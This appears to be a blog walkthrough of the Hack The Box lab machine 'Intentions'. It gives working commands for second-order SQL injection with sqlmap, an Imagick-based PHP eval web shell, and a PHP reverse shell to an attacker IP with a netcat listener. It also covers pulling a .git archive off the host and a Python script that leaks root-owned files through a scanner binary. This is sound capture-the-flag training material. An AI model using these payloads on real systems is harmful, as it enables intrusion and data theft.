Introduction
In this post, You will learn how to CTF the intentions htb and if you have any doubt you know where to ask.
Intentions Phases
- Adding target to /etc/hosts
- Nmap
- SQL Injection
- LFI
- Gaining user access
- Prviesc
- Root
Advertisement
Let’s start
Hey you ❤️ Please check out my other posts, You will be amazed and support me by following on youtube.
https://www.youtube.com/@techyrick-/videos
Adding IP
Add the target IP and the domain name intentions.htb in /etc/hosts.
sudo nano /etc/hosts
Let’s check if the target domain works.
That’s perfect, Now simultaneously let’s scan the target using nmap.
Network Mapping
Let’s do a service and version and OS scan and let’s add T4 as time here. So we are just scanning for top 1000 ports alone.
nmap -A -T4 -v 10.10.11.220
SQL Injection
Use the burp suite to capture the request if feed and genres. The api will look like this
/api/v1/gallery/user/genres and /api/v1/gallery/user/feed into 2 files gen , fee
Save the feed and genres in a separate file named fee and gen. Let’s dump it via sqlmap.
sqlmap -r gen --second-req fee --dbs -D intentions -T users -C admin,email,password --where "admin=1" --dump --tamper=space2comment --batch --time-sec 10
LFI
Now we have the users and hash passwords of steve and greg. But we cannot crack the hash of both the users.
Then later on I found the admin.js http://intentions.htb/js/admin.js
Hey team, I've deployed the v2 API to production and have started using it in the admin section.Let me know if you spot any bugs. This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.This should take care of the concerns raised by our users regarding our lack of HTTPS connection.
From this we know that we don’t want crack the hash just we can use the hash to login via as steve.
After editing, I then forwarded it and then we were able to login as the user steve. Then after having the admin user, I switched to admin page with the page link http://intentions.htb/admin
In the admin page we can see the image section where we can edit the image. After switching between charcoal, wave, swirl, sepia. I see the photo changed, but nothing exploits.
Then later I opened bur suite to inert LFI and try to read some file.
We can view the contents of the file from above vulnerability and I wrote a program which is built through the larvel applications.
https://www.devopsschool.com/blog/directory-structure-of-laravel-application/
From the above we know that the directory containing the content of web service /var/www/html/intentions/, I read the contents of api.php file.
mvg:/var/www/html/intentions/routes/api.php[20x20+20+20] #The content of the files are as follows <?php ... use App\Http\Controllers\AdminController; Route::prefix('v2')->group(function () { ... Route::middleware(['auth:api', 'isadmin'])->prefix('admin')->group(function () { Route::get('users', [AdminController::class, 'getUsers']); Route::post('image/modify', [AdminController::class, 'modifyImage']); Route::get('image/{id}', [AdminController::class, 'getImage']); }); ... });
Here We can see Admincontroller , continue reading the file Admincontroller :
<?php namespace App\Http\Controllers; use Imagick; ... class AdminController extends Controller { ... // function modifyImage(Request $request) { $v = Validator::make($request->all(), [ 'path' => 'required', 'effect' => 'required' ]); if ($v->fails()) { return response()->json([ 'status' => 'error', 'errors' => $v->errors() ], 422); } $path = $request->input('path'); if(Storage::exists($path)) { $path = Storage::path($path); } try { $i = new Imagick($path); switch($request->input('effect')) { case 'charcoal': $i->charcoalImage(1, 15); break; case 'wave': $i->waveImage(10, 5); break; case 'swirl': $i->swirlImage(111); break; case 'sepia': $i->sepiaToneImage(111); break; } return "data:image/jpeg;base64," . base64_encode($i->getImageBlob()); } catch(\Exception $ex) { return response("bad image path", 422); } } ... }
Gaining Access to WWW-data
Exploiting Arbitrary Object Instantiations in PHP without Custom Classes [Click here] to know more about that.
From this exploit, I create a web shell first.
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["cmd"]); ?>' positive.png ls positive.png
Let’ s create two intruder threads.
By executing above two threads we get connection from the box.
#Enable python server python -m http.server 80 #Reverse shell $sock=fsockopen("<Ip attack>",1234);$proc=proc_open("sh",%20array(0=>$sock,%201=>$sock,%202=>$sock),$pipes);
Use netcat to listen
nc -nlvp 1234
Once you got access to the box do the following.
cd .. tar -cvf /tmp/git.tar .git ls /tmp/git.tar /tmp/git.tar cd public mv /tmp/git.tar .
Gaining Access to Greg
I have discovered the primary directory of the service, which contains a .git folder. Please compress the .git folder and transfer the resulting compressed file to the public directory. You can download the compressed file using the following link: http://intentions.htb/git.tar
Once you have downloaded the git.tar file, extract its contents and open it using the git command.
git log commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master) Author: steve <steve@intentions.htb> Date: Mon Jan 30 15:29:12 2023 +0100 Fix webpack for production commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4 Author: greg <greg@intentions.htb> Date: Thu Jan 26 09:21:52 2023 +0100 Test cases did not work on steve's local database, switching to user factory per his advice commit 36b4287cf2fb356d868e71dc1ac90fc8fa99d319 Author: greg <greg@intentions.htb> Date: Wed Jan 25 20:45:12 2023 +0100 Adding test cases for the API! commit d7ef022d3bc4e6d02b127fd7dcc29c78047f31bd Author: steve <steve@intentions.htb> Date: Fri Jan 20 14:19:32 2023 +0100 Initial v2 commit PS D:\thehackbox\Machines\Intentions\Intentions> git show f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4 commit f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4 Author: greg <greg@intentions.htb> Date: Thu Jan 26 09:21:52 2023 +0100 Test cases did not work on steve's local database, switching to user factory per his advice diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php index f57e37b..0586d51 100644 --- a/tests/Feature/Helper.php +++ b/tests/Feature/Helper.php @@ -8,12 +8,14 @@ class Helper extends TestCase { public static function getToken($test, $admin = false) { if($admin) { - $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr**************************']); - return $res->headers->get('Authorization'); + $user = User::factory()->admin()->create(); } else { - $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr**************************']); - return $res->headers->get('Authorization'); + $user = User::factory()->create(); } + + $token = Auth::login($user); + $user->delete(); + return $token;
We have found the username and the password.
Advertisement
username: greg password: Gr3g1sTh3B3stDev3l0per!1998!
ssh greg@intentions.htb
ls cat user.txt
We finally got the user flag.
Privesc
Based on the aforementioned results, it is evident that the user named Greg is a member of the “scanner” group.
By conducting a search for files associated with the “scanner” group, I have discovered that the file “/opt/scanner/scanner” is owned by the user “root” and belongs to the “scanner” group.
We can write the follow implementations.
/opt/scanner/scanner -c /root/root.txt -l 1 -p -s 1111
Create a file called exploit.py and add the below script.
import hashlib
import os
import string
charset = string.printable
resfult = ""
def get_hash(i):
temp_hash = os.popen(f"/opt/scanner/scanner -c {file} -l {i} -p -s 1111").read().split(" ")[-1].rstrip()
return temp_hash
def find_char(temp_hash):
for i in charset:
test_data = resfult + i
current_hash = hashlib.md5(test_data.encode()).hexdigest()
if temp_hash == current_hash:
return i
return None
file = input("File: ")
i = 1
while True:
temp_hash = get_hash(i)
new_char = find_char(temp_hash)
if not new_char:
break
else:
resfult += new_char
i += 1
print(resfult)
Now type /root/root.txt to get the root flag.
Conclusion
In my opinion this is a solid 6 out of 10. The initial foothold was confusing and I was stuck but the root was damn easy.
See you in the next post mate ❤️
Advertisement